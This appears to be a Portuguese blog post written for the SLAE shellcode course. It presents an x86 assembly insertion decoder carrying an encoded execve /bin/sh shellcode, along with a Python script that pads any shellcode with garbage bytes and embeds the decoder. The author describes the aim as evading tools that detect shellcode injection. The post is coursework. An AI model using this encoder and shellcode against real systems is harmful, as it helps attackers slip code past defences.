Este post é uma sequência. Para melhor entendimento, vejam:
SLAE - 1st Assignment - Shell Bind TCP
Hacking do Dia - Shell Bind TCP Random Port
SLAE - 2nd Assignment - Shell Reverse TCP
O menor do mundo? Yeah? So Beat the Bits!
SLAE - 3rd Assignment - Caçando Ovos?
*/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-237
Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/4th.assignment
Shell-Storm:
Com este post prosseguiremos as missões do curso SLAE.
Gostaria de ressaltar que, no último vídeo do treinamento, Vivek determinou que o aluno que reduzir os shellcodes e/ou tê-los aceitos em repositórios receberá pontuação extra para a certificação.
Eu venho tentando, além de reduzir o tamanho, criar versões dos shellcodes com propriedades singulares; exemplos são o Shell Bind TCP (GetPC) e o Shell Bind TCP (com REUSE), este que acabou originando o Tiny Shell Bind TCP Random Port (57 bytes).
Porém, nesta missão, Vivek foi claro quanto à originalidade do shellcode. Ou seja, neste payload, o que importará realmente é o engendramento de um método de inserção divergente do que ele demonstrou em aula.
Insertion Decoder
Um Shellcode Insertion Decoder realiza o realinhamento de um shellcode devidamente encodado com inserção de garbage bytes. Sua utilização é voltada para a tentativa de bypass de ferramentas que detectam injeção de shellcode.
Na respectiva aula ele cria um decoder sequencial que substitui gargabe bytes ao copiar o byte verdadeiro na sequencia correta. Inicialmente, pensei em apenas remodelar o padrão de inserção da versão dele para, em vez de fazer o decoding de apenas um garbage byte (x_x_x_), fazer de dois (x__x__x__). Mas nem cheguei a amadurecer a ideia, desisti ao realizar que tal modificação não seria nem original muito menos útil num caso concreto.
Cachola para que te quero?!
Após alguns dias da resignação à ideia anterior, eis que me acendeu uma luz acima da cabeça! Por que não criar um decoder com análise para qualquer padrão? Deixando nas mãos do usuário a possibilidade de inserir o lixo no shellcode da forma que melhor lhe aprouver? Isso sim seria original!
Why not?!
Assembly e C (perfect couple)
O shellcode exigido na missão era o do execve_stack já corretamente encodado. Como um plus, reduzi o tamanho dele engendrando o Tiny Execve Sh (21 bytes), cujos código e shellcode podem ser visualizados no github.
Inseri o garbage byte em posições aleatórias dentro desse shellcode e, após um estudo algorítmico concretizei o decoder em asm como podem ver abaixo.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_decoder.asm | |
global _start | |
section .text | |
_start: | |
jmp getaddress | |
mainflow: | |
pop esi ; extract the address of the shellcode from stack | |
lea edi, [esi] ; load the shellcode address in edi to use in loop | |
xor ecx, ecx ; zero the counter | |
decoder: | |
mov ebx, dword [esi + ecx] ; copy the two next bytes to ebx | |
inc ecx ; let's read the next byte in the next loop | |
cmp bx, 0xF1F1 ; compares with the signature in the shellcode's end | |
je short execve ; is shellcode's end? if yes, run it | |
cmp bl, 0x3F ; compares with the garbage byte (0x3F) AAS instruction | |
; 3F is the least used opcode as analyzed here http://z0mbie.host.sk/opcodes.html (I know that it's a PE) | |
je short decoder ; is an inserted garbage byte? if yes continue looping and trying to find a good one | |
mov byte [edi], bl ; when isn't garbage, copy the byte to the correct address | |
inc edi ; let's to set the next byte of the shellcode | |
jmp short decoder ; continue decoding | |
getaddress: | |
call mainflow ; call back just to get the eip (address of the coded execve below) | |
execve: db 0x3F, 0x3F, 0x3F, 0x31, 0x3F, 0xc9, 0x3F, 0xf7, 0xe1, 0x3F | |
db 0xb0, 0x0b, 0x3F, 0x51, 0x68, 0x3F, 0x2f, 0x2f, 0x3F, 0x73 | |
db 0x68, 0x3F, 0x68, 0x2f, 0x3F, 0x62, 0x69, 0x3F, 0x6e, 0x89 | |
db 0x3F, 0xe3, 0xcd, 0x3F, 0x80 | |
db 0xF1, 0xF1 ; the two last bytes are the stop signature |
O que ele faz é percorrer a área da memória na qual o shellcode está inserido, comparando o byte lido com o byte lixo, e reordenando-os quando resolvidas as condições. Dúvidas? Leia o código fonte, está bem comentado.
Pronto para publicar!
Logo após ter feito push no git, já me preparando para escrever este post, tweetei para o Vivek!
Wow!
Ele não só apenas gostou do decoder, pediu também que eu fizesse um extra:
@geyslangb Your code is really fantastic! I am really happy and proud to have you as a student :)
@geyslangb If you have time maybe you could create a py/rb script to take any shellcode as input and give out the decoder +encoded shellcode
Well, lets go!
An Unexpected Journey
Nunca tinha programado em python, a não ser modificado algum pedaço de código ou lido rapidamente. Entretanto, sempre ouvi falar que é uma ótima linguagem para aprender, assim como para diversos outros fins.
The campaign begins...
Um obstáculo:
- Uso de argumentos para receber o shellcode e demais parâmetros.
Não estava conseguindo preencher a variável shellcode da forma correta... descobri, após garimpar os pergaminhos do python, que era por conta da necessidade do uso de encoding. Mas mesmo usando o encode(), este baggins não conseguia fazer com que a string shellcode ficasse como bytearray. Até que o wizard sigsegv empunhou o seu cajado proclamando: error handler surrogateescape. Valeu, sig!
Outro obstáculo:
- Bytes, Strings...
Continuando na campanha, precisei comparar, em alguns casos, string a byte... como era meu primeiro contato com a linguagem quase fui cozido por alguns trolls até me lembrar de umas dicas dadas pelo Pedro Fausto, um Dwarf que guerreia distante do Reino perdido de Erebor. hex() e int() foram suas armas. Valeu, Pedro!
Epílogo
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_encoder.py | |
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import sys | |
import getopt | |
import string | |
def usage (): | |
usage = """ | |
-g --garbage Garbage Byte to be inserted (one byte in hex format) | |
Default is 3f | |
Eg. -g 2f | |
--garbage 2f | |
-p --pattern Pattern of insertion. Garbage = x; True Shellcode Byte = b | |
Default is xb | |
Eg. -p xxxbbxbb | |
-p xbbbxbbx | |
--pattern xxbxxbxx | |
-e --end End signature (two bytes in hex format) | |
Default is f1f1 | |
Eg. -e f2f2 | |
--end f1aa | |
-s --shellcode The shellcode to be encoded with the Garbage Insertion Byte | |
Eg. -s $'\\xcd\\x80' | |
--shellcode `printf "\\xcc\\x90"` | |
-h --help This help | |
""" | |
print(usage) | |
def main(): | |
garbageByte = "3f" | |
pattern = "xb" | |
endSignature = "f1f1" | |
shellcode = "" | |
try: | |
opts, args = getopt.getopt(sys.argv[1:], "hg:p:e:s:") | |
except getopt.GetoptError as err: | |
print(err) | |
usage() | |
sys.exit() | |
hasShellcode = False | |
for o, a in opts: | |
if o in ("-h", "--help"): | |
usage() | |
sys.exit() | |
elif o in ("-g", "--garbage"): | |
if (len(a) != 2 or not all(h in string.hexdigits for h in a)): | |
print(" Garbage has to be in hex format. Eg. -g 3f\n") | |
sys.exit() | |
garbageByte = a | |
elif o in ("-p", "--pattern"): | |
if (len(a) < 2 or not "x" in a): | |
print(" Pattern has to be at least two differents bytes. Eg. -p bx\n") | |
sys.exit() | |
pattern = a | |
elif o in ("-e", "--end"): | |
if (len(a) != 4 or not all(h in string.hexdigits for h in a)): | |
print(" End signature has to be in hex format. Eg. -e f1f1\n") | |
sys.exit() | |
endSignature = a | |
elif o in ("-s", "--shellcode"): | |
shellcode = a.encode("utf_8", "surrogateescape") | |
if (not shellcode): | |
print(" Is necessary to inform a shellcode. Eg. -s $'\\xcd\\x80'\n") | |
sys.exit() | |
if (int("0x" + garbageByte, 16) in bytearray(shellcode)): | |
print(" The shellcode being processed contains the byte '0x" + garbageByte + "'. " \ | |
"Please choose another Garbage!\n") | |
sys.exit() | |
endfirst = int("0x" + endSignature[:-2], 16) | |
endsecond = int("0x" + endSignature[-2:], 16) | |
for x in range(len(shellcode)): | |
if (endfirst == shellcode[x] and x < len(shellcode) - 1): | |
if( endsecond == shellcode[x+1]): | |
print(" The shellcode being processed contains the ordered bytes '" + \ | |
hex(endfirst) + "' '" + hex(endsecond) + \ | |
"'. Please choose other End Signature!\n") | |
sys.exit() | |
encoded = '"' | |
encoded2 = "" | |
encoded3 = '"' | |
encoded4 = "" | |
print("Multi-pattern Insertion Shellcode Encoder") | |
print("http://hackingbits.com") | |
print("https://github.com/geyslan/SLAE.git") | |
print("License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>\n\n") | |
print("Encoded shellcode:") | |
p = 0 | |
s = 0 | |
while 1: | |
if (pattern[p] != "x" and pattern[p] != "b"): | |
print(" Pattern invalid: " + pattern + "\n") | |
print(" See the help.\n") | |
sys.exit() | |
if (pattern[p] == "x"): | |
encoded += "\\x" + garbageByte | |
if (s < len(shellcode)): | |
if (pattern[p] == "b"): | |
encoded += "\\x%02x" % shellcode[s] | |
s += 1 | |
p += 1 | |
if (p == len(pattern)): | |
p = 0 | |
if (s == len(bytearray(shellcode)) and p == 0): | |
break | |
encoded += '";' | |
encoded2 = encoded.replace("\\x", ",0x")[+2:-2] | |
end = r"\x" + endSignature[:-2] + r"\x" + endSignature[-2:] | |
encoded3 += r"\xeb\x1a\x5e\x8d\x3e\x31\xc9\x8b\x1c\x0e" | |
encoded3 += r"\x41\x66\x81\xfb" | |
encoded3 += end | |
encoded3 += r"\x74\x0f\x80\xfb" | |
encoded3 += r"\x" + garbageByte | |
encoded3 += r"\x74\xf0\x88\x1f\x47\xeb\xeb\xe8\xe1\xff" | |
encoded3 += r"\xff\xff" | |
encoded3 += encoded[+1:-2] | |
encoded3 += end | |
encoded3 += '";' | |
encoded4 = encoded3.replace("\\x" , ",0x")[+2:-2] | |
print() | |
print(encoded) | |
print() | |
print(encoded2) | |
print() | |
print() | |
print("Encoded shellcode with decoder built-in:") | |
print() | |
print(encoded3) | |
print() | |
print(encoded4) | |
print() | |
print() | |
print("Length before: %d" % len(bytearray(shellcode))) | |
print("Length after: %d" % ((len(encoded) - 2) /4)) | |
print("Length with decoder: %d" % ((len(encoded3) - 2) /4)) | |
if __name__ == "__main__": | |
main() |
Uso:
@geyslangb @felipensp @pedrofaustojr and the code really looked 133t on my iPhone screen ... ;)
Not at all, Vivek.
Galadriel: Why the Halfling?
# ./insertion_encoder.py -h
# ./insertion_encoder.py -g f3 -p xxbbxb -e f1f1 -s $'\x31...\x80'
@geyslangb @felipensp @pedrofaustojr and the code really looked 133t on my iPhone screen ... ;)
Not at all, Vivek.
Galadriel: Why the Halfling?
Gandalf: Saruman believes it is only great power that can hold evil in check, but that is not what I have found. I found it is the small everyday deeds of ordinary folk that keep the darkness at bay... small acts of kindness and love. Why Bilbo Baggins? That's because I am afraid and it gives me courage.
#\o/
Nenhum comentário:
Postar um comentário